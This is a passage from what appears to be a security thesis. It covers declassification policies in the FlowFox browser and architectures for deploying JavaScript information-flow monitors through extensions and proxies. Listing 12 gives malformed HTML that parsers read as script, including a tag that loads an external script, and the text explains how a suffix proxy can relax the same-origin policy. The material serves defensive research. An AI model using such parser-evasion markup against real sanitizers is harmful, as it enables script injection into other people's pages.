Theorem 39 (Precision). If p(I) _∗ O and p(I) ⇒∗ O′, P is compatible with
p, I , and p does not leak outside declassify commands, then O ≈obs O′ .
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Listing 11: Information leak outside of declassify
1 on GpsUpdate(x) { g = x }
2 on Unload(x) { d = declassify e;
3 if d = num then { Send(g) } else { skip } }

6.5 Implementation in a real browser
To show practicality and usefulness of our approach, we have implemented the
mechanism for full JavaScript in a real-world browser by extending and enhancing
the SME-enabled browser FlowFox [50]. Our implementation supports writing
dynamic declassification policies in JavaScript and is successfully tested on real-
life examples. The implementation, together with some examples and the Redex
mechanization of the formal model are all available for download [1].

6.5.1 Implementation Details

FlowFox is implemented as a modified FireFox. In FireFox, each JavaScript
program on a web page gets executed within a specific JavaScript context
(JSContext). We associate a declassification policy with a separate JavaScript
object within such a context. The policy writer needs to implement three API
methods:

P(ev) This method is the main interface and should implement how the policy
store must be update on occurence of event ev.

O(ev) This method should return the boolean value true iff the occurrence of the
given event may be leaked towards the low execution.

D() This method should return the declassified value(s), i.e. it is a getter for the
D value from our theoretical model.

These methods are used in different places within the FlowFox source code.
The first place is when scripts ask for declassified values. We introduce a
declassify function in the global scope of each JavaScript program. In the
background, this function calls the D function on the policy object within the
current context and ignores any given argument.

The second place is when handling events. FlowFox handles events as follows:
both the low and the high execution can set handlers. FlowFox saves the security
level for each handler that gets installed. For example, if a JavaScript program
installs an event handler for the onload event by setting window.onload, FlowFox
will run this program for each available security level and as a result will store
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two event handlers (one to be executed in the low context and one in the high
context). Whenever the onload event is triggered, FlowFox looks up all available
event handlers for the event and executes each one – within the correct JavaScript
context with the associated security level – sequentially.

We modified this behavior so that as soon as FlowFox is ready to handle an
event, it first consults the declassification policy once by calling the P function.
Instead of sequentially executing each handler, we check the associated security
level of each event handler. A high event handler will be executed as normal. For
a low event handler, we consult our declassification policy to check, via the O
function, if the occurrence of the current event may be declassified. If this is the
case the low event handler is executed with a default event object. Otherwise, we
move on to the next event handler.

The third place for changes, is for events that are not strictly DOM events,
but still call a callback function after a specific task has finished. This is for
instance the case with the getCurrentPosition method of the geolocation object.
The method requires two callback functions – one for a successful lookup and
one to handle a failure. In the background, the geolocation implementation will
try several strategies to acquire the user’s position. When successful the callback
will be executed as if it was an event handler, so the same logic for event handlers
needs to be applied. We implemented similar logic as for DOM event handlers for
the geolocation events.

6.5.2 Examples

To test our implementation and to show practicality and usefulness, we imple-
mented some examples in full JavaScript, and we verified by means of testing that
they behave as expected. The examples are available for download [1].

As with all policy-based mechanisms, an important question is: who will
write the policies? It is not realistic to expect browser users to do this. In
our view, at least two approaches are feasible. For simple and widely useful
declassification policies (such as the approximate gps location policy) the browser
can offer them as part of a privacy profile. For more application-specific policies,
policies can be server-driven: the integrator of a web mashup will set a policy
and send it to the browser. The policy will need to be agreed upon between the
integrator and the various script providers. Legacy scripts (not using declassify
annotations) are enforced to be noninterferent (without declassification), whereas
scripts that have been annotated are enforced to be noninterferent under the
enforced declassification policy. The browser user no longer needs to trust third-
party scripts to protect his data, but only the main site he interacts with.

Obviously, it is important to come up with a better surface syntax for the policy
language; but this is an orthogonal problem not addressed in this paper.
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6.5.3 Benchmarks

We performed benchmarks to give evidence that the performance cost of our
approach is acceptable. All measurements we report below were done on a
virtualized Ubuntu 11.04 with 3Ghz, 4GB RAM.

The performance cost of our approach can be broken down in (1) Some
additional processing for each event (cost of updating the policy store memory,
and of consulting the policy store to check if an occurrence must be declassified),
and (2) The cost of calling the declassify function in a handler.

The cost of updating the policy store obviously depends on the policy being
enforced, but policies are expected to be simple computations (like computing an
average or rounding a result) so the dominating cost are the additional context
switches between JavaScript and C++ required by our approach.

To measure the cost of (1), we conducted an experiment in which FlowFox
visits a web page that triggers 1000 rounds of 1000 clicks via JavaScript on an
HTML button with an empty event handler, and we measure how long it takes to
handle these 1000 events. The average time for handling 1000 clicks (averaged
over 1000 runs) was 100.8 ms, i.e.handling a single event costs around 0.1 ms.

The cost of (2) can be expected to be very low, as it is just a getter of a value
set by the policy. To measure it, we conduct an experiment that triggers an event
handler that calls the declassify function 1000 times. The average cost of a single
call to declassify was 0.83 µs.

We believe these results are evidence of the fact that adding declassification to
FlowFox will have a very small impact on the overall performance of the browser.
Macrobenchmarks in which we replay end-to-end web interaction scenarios in
FlowFox with and without declassification support show no measurable increase
in overall performance cost.

6.6 Related Work
Sabelfeld and Sands [135] survey information declassification policies and en-
forcement mechanisms, and provide a set of dimensions for declassification mod-
els. The identified dimensions take into account the nature of the released data,
its location in the program, its time, and its owner (the so-called what, where,
when and who dimensions). These dimensions have been extensively studied in
the literature [35, 102, 32, 100, 20, 36, 15]. We only focus on very closely related
work and refer to the survey for a wider overview.

Sabelfeld and Myers [133] present delimited released, a security policy to
declassify information through the special language operator declassify(e) where
e is globally considered as declassified (what dimension). Later, Askarov and
Sabelfeld [8] combined the what and where dimensions into the definition of
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localized delimited released. They use an instrumented semantics with the set of
declassified expressions. Magazinius et al. [96] proposed decentralized delimited
released, combining the what and who dimensions in decentralized settings and
consider a web attacker model. In the context of multiple facets [13], Austin
and Flanagan show how to perform robust declassification (who dimention) with
integrity guarantees against active attackers.

Our security policy is inspired by delimited released, and thus released
information is considered as declassified in the what dimension. However, the
SME enforcement releases information only where a declassify e expression
appears. Thus released information in SME can be considered as declassified
in the where dimension. In fact, our precision theorem uses as hypothesis that
the program does not leak outside of declassify e expressions. Thus, information
can only be released where the programmer explicitly marks the program. To the
best of our knowledge, the only declassification policies in the literature that can
be computationally specified by means of a program, as in our work, are those
related to cryptography such as IND-CPA. Fournet and Planul [63] propose to
implement declassification code in a trusted platform module in order to minimize
trust assumptions. The idea of handling declassification in SME by means of an
additional subprogram was mentioned briefly by Kashyap et al. [83] as possible
future work.

To the best of our knowledge, decentralized delimited released [96] and
multiple facets [13] are the only works that attempt to control declassication in
real web scripts.

6.7 Conclusion
Motivated by the desire to support web analytics in information flow secure
browsers, we have proposed an approach to specify declassification policies as
simple reactive programs, and we have developed an enforcement mechanism that
we proved to be secure and precise. We implemented the mechanism in an existing
information flow secure browser thus providing evidence of practicality.

The implementation, some example policies and scripts, and the Redex
mechanization of the formal model are all available for download [1].
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7 Architectures for Inlining Security Monitors in
Web Applications

7.1 Introduction
JavaScript is at the heart of what defines the modern browsing experience on the
web. JavaScript enables dynamic and interactive web pages. Glued together,
JavaScript code from different sources provides a rich execution platform.
Reliance on third-party code is pervasive [111], with the included code ranging
from format validation snippets, to helper libraries such as jQuery, to helper
services such as Google Analytics, and to fully-fledged services such as Google
Maps and Yahoo! Maps.

Securing JavaScript Securing JavaScript in the browser is an open and chal-
lenging problem. Third-party code inclusion exacerbates the problem. The same-
origin policy (SOP), enforced by the modern browsers, allows free communica-
tion to the Internet origin of a given web page, while it places restrictions on
communication to Internet domains outside the origin. However, once third-party
code is included in a web page, it is executed with the same privileges as the
code that uses the libraries. This gives rise to a number of attack possibilities
that include location hijacking, behavioral tracking, leaking cookies, and sniffing
browsing history [77].

Security policy stakeholders An additional complication is that the different
stakeholders have different interests in the security policies to be enforced in web
applications. Users might demand stronger guarantees than those offered by SOP
when it is not desired that sensitive information leaves the browser. This makes
sense in popular web applications such as password-strength checkers and loan
calculators. Code developers clearly have an interest in protecting the secrets
associated with the web application. For example, they might allow access to the
first-party cookie for code from third-party services, like Google (as needed for the
proper functioning of such services as Google Analytics), but under the condition
that no sensitive part of the cookie is leaked to the third party. Code integrators
might have different levels of trust to the different integrated components, perhaps
depending on the origin. It makes sense to invoke different protection mechanisms
for different code that is integrated into the web application. For example,
an e-commerce web site might include jQuery from a trusted web site without
protection, while it might load advertisement scripts with protection turned on.
Finally, system and network administrators also have a stake in the security goals.
It is often desirable to configure the system and/or network so that certain users
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are protected to a larger extent or communication to certain web sites is restricted
to a larger extent. For example, some Internet Service Providers, like Comcast,
inject JavaScript into the users’ web traffic but so far only to display browser
notifications for sensitive alerts7.

Secure inlining for JavaScript This paper proposes a novel approach to secur-
ing JavaScript in web applications in the presence of different stakeholders. We
focus on securing JavaScript code by inlining security checks in the code before
it is executed. A key feature of our approach is focusing on security monitors
implemented, in JavaScript, as security-enhanced JavaScript interpreters. This,
seemingly bold, approach leverages two-fold flexibility. First, having complete
information about a given execution, security-enhanced JavaScript interpreters
are able to enforce such fine-grained security policies as information-flow secu-
rity [132]. Second, because the monitor/interpreter is itself written in JavaScript,
we achieve great flexibility in the deployment options.

Architectures for inlinig security monitors As our main contribution, we
propose architectures for inlining security monitors for JavaScript: via browser
extension, via web proxy, and via suffix proxy (web service). Being parametric
in the monitor itself, the architectures provide freedom in the choice of where
the monitor is injected, allowing to serve the interests of the different stake
holders: users, code developers, code integrators, as well as system and network
administrators.

We note that our approach is general: it applies to arbitrary security monitors,
implemented as JavaScript interpreters. The Narcissus [22] project provides a
baseline JavaScript interpreter written in JavaScript, an excellent starting point
for supporting versatile security policies.

Our evaluation of the architectures explores the relative security considera-
tions. When introducing reference monitoring, Anderson [7] identifies the fol-
lowing principles: (i) the monitor must be tamperproof (monitor integrity), (ii)
the monitor must be always invoked (complete mediation) [137], and (iii) the
monitor must be small enough to be subject to correctness analysis (small trusted
computing base (TCB)) [137, 125]. Overall, the key requirements often consid-
ered in the context of monitoring are that the monitor must enforce the desired
security policy (soundness) and that the monitor is transparent to the applications
(transparency). Note the relation of the soundness to Anderson’s principles: while
the principles do not automatically imply soundness, they facilitate establishing
soundness. Transparency requirements are often in place for reference monitors

7https://gist.github.com/ryankearney/4146814
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to ensure that no new behaviors are added by monitors for any programs, and no
behaviors are removed by monitors when the original program is secure.

Since the architectures are parametric in the actual monitor, we can draw on
the properties of the monitor to guarantee the above requirements. It is essential
for soundness and transparency that the monitor itself supports them. We note that
monitor integrity, complete mediation, and TCB are particularly important in our
security considerations because they are crucially dependent on the choice of the
architecture.

Instantiation To illustrate the usefulness of the approach, we present an
instantiation of the architectures to enforce secure information flow in JavaScript.
Information-flow control for JavaScript allows tracking fine-grained security
policies for web applications. Typically, information sources and sinks are given
sensitivity labels, for example, corresponding to the different Internet origins.
Information-flow control prevents explicit flows, via direct leaks by assignment
commands, as well as implicit flows via the control flow in the program.

Our focus on information flow is justified by the nature of the JavaScript
attacks from the empirical studies [77, 111] that demonstrate the current security
practices fail to prevent such attacks as location hijacking, behavioral tracking,
leaking cookies, and sniffing browsing history. Jang et al. [77] report on both
explicit and implicit flows exploited in the empirical studies. In addition, inlining
by security-enhanced interpreting is a particularly suitable choice for tracking
information flow in JavaScript, because alternative approaches to inlining suffer
from scalability problems, as discussed in Section 7.5.

Our instantiation results demonstrate how to deploy JSFlow [73, 70], secure
information-flow monitor for JavaScript by Hedin et al., via browser extension,
via web proxy, and via suffix proxy (web service). We report on security and
performance experiments that demonstrate successful deployment of a JavaScript
information-flow monitor with the different architectures.

7.2 Architectures
This section presents the architectures for inlining security monitors. We motivate
each architecture by scenarios of intended usage, describe the architectures, report
on security considerations, as well as the pros and cons for each choice.

7.2.1 Browser extension

Many web sites require the user to provide sensitive information, e.g., user
credentials, or payment information. It lies in the interest of the user to ensure the
security of the sensitive information. Modern browsers allow for the functionality
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of the browser to be enriched via extensions. By deploying the security monitor
via a browser extension it is possible to enforce properties not normally offered
by browsers. Regardless of whether the user is private or corporate, browser
extensions provide a simple install-once deployment method.

Description A browser extension is a program that is installed into the browser
in order to change or enrich the functionality. The basic idea behind deploying via
an extension is to replace the JavaScript engine with the monitor. (Recall that we
consider only monitors that function as interpreters.)

Even though the internal JavaScript engine cannot actually be replaced the
same effect can be achieved by turning off the standard JavaScript engine, and
have the extension traverse the page and execute the JavaScript scripts using the
monitor. In addition to traversing the page, the extension must register the monitor
as the target of all events to ensure that the event handlers are run by the monitor.
However, failing to do so will not compromise security. Since the internal engine
is turned off the event handler would simply not run, preventing the loaded page
from functioning properly.

The most common extension implementation language is JavaScript. Given
that the monitor is written in JavaScript it is a simple matter to embed the monitor
in an extension. This method was pioneered by Zaphod [107], a Firefox extension,
that replaces the standard JavaScript engine with the experimental Narcissus [22]
engine.

Security considerations The integrity of the deployment method is guaranteed
by virtue of the fact that the JavaScript engine is turned off and all scripts are
interpreted by the monitor. Hence, the scripts are not active; rather, they are passed
as data to the monitor, and are only able to influence the execution environment
implemented by the monitor and not the general execution environment. Since all
scripts are executed using the monitor complete mediation is implied. In addition,
this also guarantees that the deployment method is sound given that the monitor
is sound.

As described above, browser extensions are installed into the browser. In order
to be able to enrich the functionality of the browser, the extensions run with the
same privileges as the browser. This entails that the monitor will be running with
elevated privileges. Compared to the other methods of deployment this means
that a faulty monitor not only jeopardizes the property enforced by the monitor,
but might jeopardize the integrity of the entire browser.

Pros and cons Since the extension is installed locally in the browser of the user,
it has the benefit of giving the user direct control over what security policies to
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enforce on the browsed pages without relying on and trusting other parties.
The Document Object Model (DOM) [84] provides the tree model of HTML

documents used in browsers. The DOM is a complex, richly linked tree
structure. To a certain degree, which features that pose challenges depends on the
deployment method. One example of a feature that can be handled with relative
easy when deploying via a browser extension is innerHTML. innerHTML
is a property on all DOM nodes, that allows the node to be changed via the
text representation of the node. Changing the innerHTML property causes the
content of the node to be rebuilt by parsing the new value. For other deployment
methods this means that the value written to innerHTML must be validated, and
possibly changed before the write is allowed to occur. Although scripts added
using innerHTML are not executed, event handlers might still be run. For the
extension-based deployment this is not a problem. Since the standard JavaScript
execution engine is turned off, it is safe to write to the innerHTML property. The
write will trigger the parser to rebuild the content of the node, but no scripts will
be executed, and the result can be handled similarly to the scripts on a loading
page.

In addition, no special consideration is needed for secure HTTP connections
(HTTPS). The extension uses the browser to perform the operation making it
indistinguishable from the standard operation of the browser.

In order to respect transparency, all functionality provided by the browser must
be faithfully implemented. Crucially, the order in which scripts are executed is
important. When web pages are loaded, the scripts of the pages are executed
as they are encountered while parsing the web page. This means that the DOM
tree of the page might not have been fully constructed when the scripts execute.
Differences in the state of the DOM tree can be detected by scripts at execution
time. Hence, to guarantee transparency the execution of scripts must occur at the
same times in the DOM tree construction as they would have in the unmodified
browser. This can be achieved using DOM MutationEvent [149].

An example of functionality that requires particular care is document.write.
The effect of document.write is prescribed [85] to write a string into the
current position of the document. Intuitively, document.write writes into
the character stream that is fed to the HTML parser, which can have drastic ef-
fects on the parsing of the page. For security reasons, extensions are prohibited
from calling document.write. Hence, when run via an extension, the mon-
itor cannot practically provide the full functionality of document.write. To
implement document.write the monitor has to take the interaction between
the content written by document.write, the already parsed parts of the page
and the remaining page into account. Consider the following example, where
document.write is used inside a div element.
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<div><script>document.write(’</div><div>’);</script></div>

The result is two div elements, rather than the original one. Since the
write takes place during the parsing of the page, the end tag written by
document.write is matched with the initial div tag, and the written start tag
is matched with the final end tag. Capturing this interaction implies emulating the
parsing process of the browser.

However, the practical use of document.write is limited; the typical use
case is to inject scripts into the page while loading. Such cases can be relatively
easily identified from the string passed as a parameter, and the intended behavior
can be implemented by the monitor.

7.2.2 Web proxy

In a corporate setting, it is essential to protect sensitive information pertaining to
both the organization and its employees. It is not uncommon that the employees
are using the web browser for accessing untrusted content on the Internet. It
is in the interest of the company to ensure that the sensitive information is not
accessible outside the domain of the company. In this distributed setting, a web
proxy is a natural way of delivering the security monitor to all clients. A web
proxy is also appealing to a private user, as it includes the monitor in all browsed
pages without modifying the browser itself. By configuring the browser to use a
web proxy, the user can ensure the security of sensitive data.

Description All modern browsers support relaying all requests through a proxy.
A proxy specific to relaying HTTP requests is referred to as a web proxy. The
web proxy acts as a man-in-the-middle, making requests on behalf of the client.
In the process, the proxy can modify both the request and the response, making it a
convenient way to rewrite the response to include the monitor in each page. Doing
so makes the method more intrusive to the HTML content, but less intrusive to the
user’s browser.

For the monitor to guarantee security, all scripts bundled with the page must be
executed by the monitor. The scripts can either be inline, i.e., included as part of
the HTML page, or external, i.e., referenced in the HTML page to be downloaded
from an external source. Inline scripts appear both in the form of script-tags as
well as inline event handlers, e.g., onclick or onload. Apart from including the
monitor in all browsed pages, all scripts, whether inline or external, must be
rewritten by the web proxy to be executed by the monitor. External scripts are
rewritten in their entirety, whereas for inline scripts the web proxy must identify
all scripts within the page and rewrite them individually.
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Security considerations As opposed to a browser extension, that replaces the
JavaScript engine, the monitor is executed by the engine of the browser in the
context of the page. Naturally this is the same context in which all scripts bundled
with the page are normally executed. The web proxy ensures that they are all
executed by the monitor through rewriting, but this effort must continue even as
the monitor executes. Various JavaScript features, such as document.write,
allow an arbitrary string to be interpreted and rendered as HTML. Any scripts
present in the string will be executed upon interpretation, which must be addressed
in the web proxy. If not, the script code will execute along-side the monitor,
thereby bypassing it. Complete mediation is achieved given that all requests are
relayed through the proxy and all occurrences of JavaScript within the page are
rewritten to be executed by the monitor.

Special consideration is required for HTTPS connections, as HTTPS is
designed to prevent the connection from being eavesdropped or modified in
transit. This poses a challenge for a web proxy designed to modify the response.
Normally a web proxy acts as tunnel between the client and target, unable to read
or manipulate the transmission. Instead the web proxy must establish two separate
HTTPS connections, one with the client and one with the target. The client’s
request is passed on to the connection with the target and the rewritten response
to the client. This is only transparent to the user if the certificate provided by the
proxy is trusted by the user. Otherwise the user will be notified that the certificate
is invalid.

Pros and cons The main benefit of using a web proxy compared to a browser
extension is that the implementation is browser independent. The rewriting
technique is the same regardless of the browser used. Hence, there is no need
to adapt the web proxy to suit a particular browser, allowing the users their choice
of browser. Neither is it intrusive to the browser, as the user is not required to
modify the browser in order to take advantage of security benefits.

How the proxy is deployed determines the user’s influence over the enforced
policies. In a corporate environment, the web proxy is likely to be administered
centrally to apply the same policy for all users. When deployed by an individual
user, it is more likely to be installed locally on the user’s own machine. Then, the
user has full influence over policies, while for a remotely deployed proxy, whether
the policy is user-specific is in the hands of the proxy administrator.

7.2.3 Suffix proxy (service)

For trusted web sites, a user of a proxy service may not want to disclose sensitive
information, e.g., passwords or cookies, to the provider of the service. Still, for
untrusted web sites the user wants the increased security provided by the proxy.
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A suffix proxy particularly suits a user who wants to run certain untrusted pages
monitored, but not include the monitor in trusted pages.

From the perspective of the provider of the proxy service, relaying security
irrelevant content, e.g., images, is an unnecessary waste of resources. To the
service provider it is beneficial to be able to control precisely which content will
be relayed through the proxy. This is not possible in a web proxy, that must relay
all requests, but a suffix proxy provides the means to do so.

Description A suffix proxy is a specialized web proxy, with a different approach
to relaying the request. The suffix proxy takes advantage of the domain name
system (DNS) to redirect the request to it. Wildcard domain names allow all
requests to any subdomain of the domain name to resolve to a single domain name,
i.e., in DNS terms *.proxy.domain⇒ proxy.domain. Typically, the user navigates
to a web application associated with the proxy and enters the target URL,
e.g., http://google.com/search?q=sunrise, in an input field. To
redirect the request to the proxy, the target domain name is altered by appending
the domain name of the proxy, making the target domain a subdomain of the
proxy domain, e.g., http://google.com.proxy.domain/search?q=
sunrise. The browser is then navigated to the modified URL. The suffix proxy
is set up so that all requests to any subdomain of the proxy domain are directed
to the proxy domain. A web application on the proxy domain is set up to listen
for such subdomain requests. When a request for a subdomain is registered, it is
intercepted by the web application. The web application strips the proxy domain
from the URL, leaving the original target URL, and makes the request on behalf
of the client. As with the web proxy, relaying the request to the target URL gives
the suffix proxy an opportunity to modify and include the monitor in the response.

As the web proxy, the suffix proxy must ensure that all script bundled with
a page is executed by the monitor. The procedure to rewrite scripts is much the
same as the one detailed in Section 7.2.2. However, apart from rewriting inline
scripts in a page, the suffix proxy must also find all references to external scripts
and rewrite the URLs to include the proxy domain. Otherwise the script will not
be requested through the monitor which will prevent it from being rewritten and
thereby it will execute along-side the monitor.

In the suffix proxy, not only the content is rewritten but also the headers of
the incoming request and the returned response. Certain headers, like the Host
and Referrer header of the request, includes the modified domain name and need
to be rewritten to make the proxy transparent. In the response headers like the
Location contains the unmodified target URL and need to be rewritten to include
the monitor domain.
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Security considerations A consequence of modifying the domain name is that
the domain of the target URL and the modified URL no longer matches, making
them two separate origin as per the same-origin policy. This implies that all
information in the browser specific to the target origin, e.g., cookies and local
storage, are no longer associated with the modified origin, and vice versa. This
results in a clean separation between the proxied and unproxied content.

Another interesting consequence of altering the domain name, also relating
to the same-origin policy, is the concept of domain relaxing. Modern web
browsers allow relaxing of the same-origin policy for subdomains. Documents
from different subdomains of the same domain can relax their domains by setting
the document.domain attribute to their common domain. In doing so, they set
aside the restrictions of the same-origin policy and can freely access each others
resources across subdomains. Since the principle behind the suffix proxy is to
make the target domain a subdomain of the proxy domain, two domains loaded via
the proxy, each relaxing their domain to the domain of the proxy, can access each
others resources across domains. This is problematic for monitors that rely on the
same-origin policy to enforce separation between origins. However, the flexibility
of disabling the same-origin policy opens up for monitors whose policies are
aimed at replacing the same-origin policy. For such usage, the suffix proxy can
effectively disable the same-origin policy by adding a JavaScript snippet that sets
the document.domain property to the proxy domain.

Implementing support for HTTPS is simple in the suffix proxy. Given that
the suffix proxy builds on DNS wildcards, it is sufficient to issue a certificate for
all subdomains of the proxy domain, e.g., *.proxy.domain. Such a wildcard
certificate is valid for all target URLs relayed through the proxy.

Pros and cons While sharing a common foundation, there are several differ-
ences between a suffix proxy compared to a traditional web proxy. The differ-
ences lie, not in how the monitor is included in the page, but in the way the proxy
is addressed. A consequence of the use of wildcard domain names is that the
suffix proxy requires heavier rewriting than the web proxy in order to capture all
requests. Another questionable consequence is that it allows for web sites to relax
the same-origin policy. From a monitor perspective this can be problematic under
the wrong circumstances, while beneficial under other.

Another significant difference is that the suffix proxy lets the user decide
which pages to proxy on a per-domain basis. Deciding whether to apply the
monitor or not is as simple as browsing to an alternate URL. Also, the suffix
proxy can ensure that only resources relevant to security are relayed via the proxy,
making it more general than a traditional web proxy that covers all requests. This
both reduces the load on the proxy service, as well as decreases the overhead for
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the end user, thus benefiting both the user and the service provider.
A beneficial difference is that the suffix proxy does not require any configura-

tion and leaves the browser completely unchanged. The user can take advantage
of the security benefits without being concerned with the integrity of the browser.

7.2.4 Integrator

As discussed earlier, today’s web pages make extensive use of third-party code
to add features and functionality to the page. The code is retrieved from external
resources in the form of JavaScript libraries. The third-party code is considered
to be part of the document and is executed in the same context as any other
script included in the document. Executing the code in the context of the page
gives the code full access to all the information of the page, including sensitive
information such as form data and cookies. Granting such access requires that the
code integrator must trust the library not to abuse this privilege. To a developer,
an appealing alternative is to run untrusted code in the monitored context, while
running trusted code outside of the monitor.

Description Integrator-driven monitor inclusion is suitable for an integrating
web page that makes use of third-party code. The security of the information
contained on the web page relies not only on the web page itself, but also on the
security of all included libraries. To protect against malicious or compromised
libraries, an integrator can execute part of, or all of the code in the monitor. The
code executing outside of the monitor is trusted with full access to the sensitive
information in the page, and the untrusted code will be executed by the monitor,
restricted from accessing the information. This can be achieved by manually
including the monitor in the page and loading the third-party code either through
the suffix proxy, or from cached rewritten versions of the code. This approach
allows for a well defined, site-specific policy specification. The monitor is setup
and configured with policies best suiting the need of the site.

An important aspect of integrator-driven monitor inclusion is the interaction
between trusted and untrusted code. The trusted code executing outside the
monitor can interact with the code executed in the monitor. This way, the trusted
code can share specific non-sensitive information with the library, that the library
requires to execute. There are different means of introducing this information
to the monitor. The most rudimentary solution is to evaluate expressions in
the monitor, containing the information in a serialized form. The monitor can
also provide an API for reading and writing variables, or calling functions in
the monitor. This simplifies the process and makes it less error-prone. A more
advanced solution is a set of shared variables that are bidirectionally reflected
from one context to the other when their values are updated.
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Security considerations Despite the fact that the integrator is using the suffix
proxy, none of the respective security considerations apply. The same-origin
policy has no effect on requesting libraries through the proxy. The only
consequence is that the library will be rewritten so that it will be executed by
the monitor.

One security consideration that arises is the implication of sharing information
between the trusted and untrusted code. It might be appealing to simplify sharing
of information between the two by reflecting a set of shared variables of one
into the other. However, automatically reflecting information from one context
to the other, will have severe security implications. If the trusted code depend
on a shared variable, the untrusted code can manipulate the value to control the
execution. If the trusted code is required to share information with the untrusted
code, such as giving access to non-sensitive information, it must be done by
manually introducing it in the monitored context.

It should be noted that since the trusted code is running along side the monitor,
it can access and manipulate the state of the monitor and thereby the state of the
untrusted code. It is impossible for the monitored code to protect against such
manipulation.

Pros and cons This developer-centric approach gives the integrator full control
over the configuration of the monitor and the policies to enforce. From the
perspective of a user this approach is not intrusive to the browser, requires no
setup or configuration, and provides additional security for the user’s sensitive
information. However, it also limits the user’s control over which policies are
applied to user information.

Compared to the suffix proxy, integrator-driven monitor inclusion is deliber-
ately intrusive to the HTML code. Such specialized use of the suffix proxy allows
a developer to specify precisely which code will be subject to monitoring, making
the approach more general. Since a monitor typically introduces a runtime over-
head, this approach can also result in performance gains compared to running all
code monitored, especially if the trusted code is computation-heavy.

As previously stated, sharing information between trusted and untrusted code
in a secure manner requires manual interaction. This implies that the developer
must to some degree understand the inner workings of the monitor and the
implications of interacting with the monitor.

7.3 Implementation
This section details our implementations of the architectures from Section 7.2.
The code is readily available on request from the authors.
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7.3.1 Browser extension

The browser extension is a Firefox extension based on Zaphod [107]. When
loaded, the extension turns off the standard JavaScript engine by disal-
lowing JavaScript and listens for the DOMContentLoaded event. The
DOMContentLoaded event is fired as soon as the DOM tree construction is
finished. On this event the DOM tree is traversed twice. The first traversal checks
every node for event handlers, e.g., onclick, and registers the monitor to handle
them. The second traversal looks for JavaScript script nodes. For each found script
node, the source is downloaded and the monitor is used to execute the script.

As discussed above, the downside of this method is that it breaks transparency,
since the scripts all execute after the DOM tree has been constructed. It is
possible to regain transparency by using DOM MutationEvent instead of
the DOMContentLoaded event. The idea is to listen to any addition of
script nodes to the DOM tree under the construction, and execute the script on
addition. However, due to performance reasons the DOM MutationEvents are
deprecated, and are being replaced with DOM MutationObserver [150]. It is
unclear whether the MutationObserver can be used to provide transparency,
since events are grouped together, i.e., the mutation observer will not necessarily
get an event each time a script is added — to improve performance single events
may bundle several modifications together.

On a final note, the exact order of loading is not standardized and differs
between browsers. This forces scripts to be independent of such differences.
Thus, using the method of executing scripts on the DOMContentLoaded event
is not necessarily a problem in practice. The extension consists of 1200 lines of
JavaScript and XUL code.

7.3.2 Web proxy

The web proxy is implemented as an HTTP-server. When the proxy receives a
request it extracts the target URL and in turn requests the content from the target.
Before the response is delivered to the client, the content is rewritten to ensure
that all JavaScript is executed by the monitor.

In HTML, where JavaScript is embedded in the code, the web proxy must
first identify the inline code in order to rewrite it. Identifying inline JavaScript in
HTML files is a complex task. Simple search and replace is not satisfactory due
to the browser’s error tolerant parsing of HTML-code, meaning that the browser
will make a best-effort attempt to make sense of malformed fragments of HTML.
It would require the search algorithm to account for all parser quirks in regard
to malformed HTML; a task which is at least as complex as actually parsing
the document. This problem is exemplified in Listing 12; the first line will be
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interpreted as a script followed by the text HTML, the second line as a script that
alerts the string JavaScript, and the third will display ac and d in two separate
paragraphs and load a script from an external domain.

Listing 12: Example of complicated HTML
<script>0</script/> HTML </script>
<script>0</script./> alert(JavaScript) </script>
<p>a<sCript/"=/ src=//t.co/abcde a= >b</p></script c<p>d

In the web proxy, Mozilla’s JavaScript-based HTML-parser dom.js [64], is
used to parse the page. The DOM-tree can then be traversed to properly localize
all inline script code. All occurences of JavaScript code are rewritten as outlined in
Listing 13, wrapped in a call to the monitor. Because all instances of the modified
script code will reference the monitor, the monitor must be added as the first script
to be executed.

Rewriting JavaScript requires converting the source code to a string, which
can be fed to the interpreting monitor. The method JSON.stringify()
provides this functionality and will properly escape the string to ensure that it
is semantically equivalent when interpreted by the monitor. The code string is
then enclosed in a call to the monitors interpreter, as exemplified in Listing 13.

Listing 13: Example of monitor wrapping
code = ’Monitor.eval(’ + JSON.stringify(code) + ’)’;

The implementation consists of 256 lines of JavaScript code.

7.3.3 Suffix proxy (service)

As mentioned in Section 7.2.3, the web proxy serves as a foundation for the suffix
proxy, as they share much of the code. The suffix proxy is extended with an
additional step of rewriting to deal with external resources. Since the suffix proxy
is referenced by altering the domain name of the target, the proxy must ensure that
relevant resources, e.g., scripts, associated with the target page are also retrieved
through the proxy. Resources with relative URLs requires no processing, as they
are relative to the proxy domain and will by definition be loaded through the
monitor. However, the URLs of resources targeting external domains must be
rewritten to include the proxy domain. Similarly, links to external pages must
include the domain of the proxy for the monitor to apply when the user follows
a links. The external references are identified in the same manner as inline
JavaScript, by parsing the HTML to a DOM-tree and traversing the tree. When
found, the URL is substituted using a regular expression.

Another difference to the web proxy relates to the use of non-standard ports.
The web proxy will receive all requests regardless of the target port. The suffix
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proxy, on the other hand, only listens to the standard ports for HTTP and HTTPS,
port 80 and 443 respectively. The port in a URL is specified in conjunction to,
but not included in the domain. Hence any URLs specifying non-standard ports
would attempt to connect to closed ports on the proxy server. A solution to this
problem is to include the port as part of the modified domain name. To prevent
clashing with the target domain or the proxy domain, the port number is included
between the two, e.g., http://target.domain.com.8080.proxy.domain/. This does
not clash with the target domain because the top domain of the target domain
cannot be numeric. Neither does it clash with the proxy domain because it is still
a subdomain of the proxy domain. The implementation consists of 276 lines of
JavaScript code.

7.3.4 Integrator

In line with Section 7.2.4, the integrator is implemented as a web page that
includes third-party code via the suffix proxy. The monitor is manually included
in the page, setup and the policies are configured as is appropriate for the page.
Requesting the third party code rewritten by the suffix proxy ensures that it will be
interpreted and executed by the monitor. Part of the code, the untrusted libraries
and any supporting code, are executed by the monitor, whereas code dealing with
sensitive information is executed outside the monitor. To make use of the library,
the trusted code shares only the minimal information required for the library to
execute. Currently the communication between the trusted and the untrusted
code is rudimentary. The trusted code can interact with the monitored code by
evaluating expressions in the monitor, and the result of the computation is returned
to the trusted code.

7.4 Instantiation
This section presents practical experiments made by instantiating the deployment
architectures with the JSFlow [73, 70] information-flow monitor. We briefly
describe the monitor and discuss security and performance experiments.

Monitor JSFlow is a dynamic information-flow monitor that tags values with
runtime security labels. Whenever a potential security violation has been
encountered the monitor stops the execution with a security error. Implemented
in JavaScript, the monitor supports full ECMA-262 (v5) [56] including the
standard API and large parts of the browser-specific APIs such as the DOM APIs.
JSFlow supports a wide variety of information-flow policies, including tracking
of user input and preventing it from leaving the browser, as used in the security
experiments below.
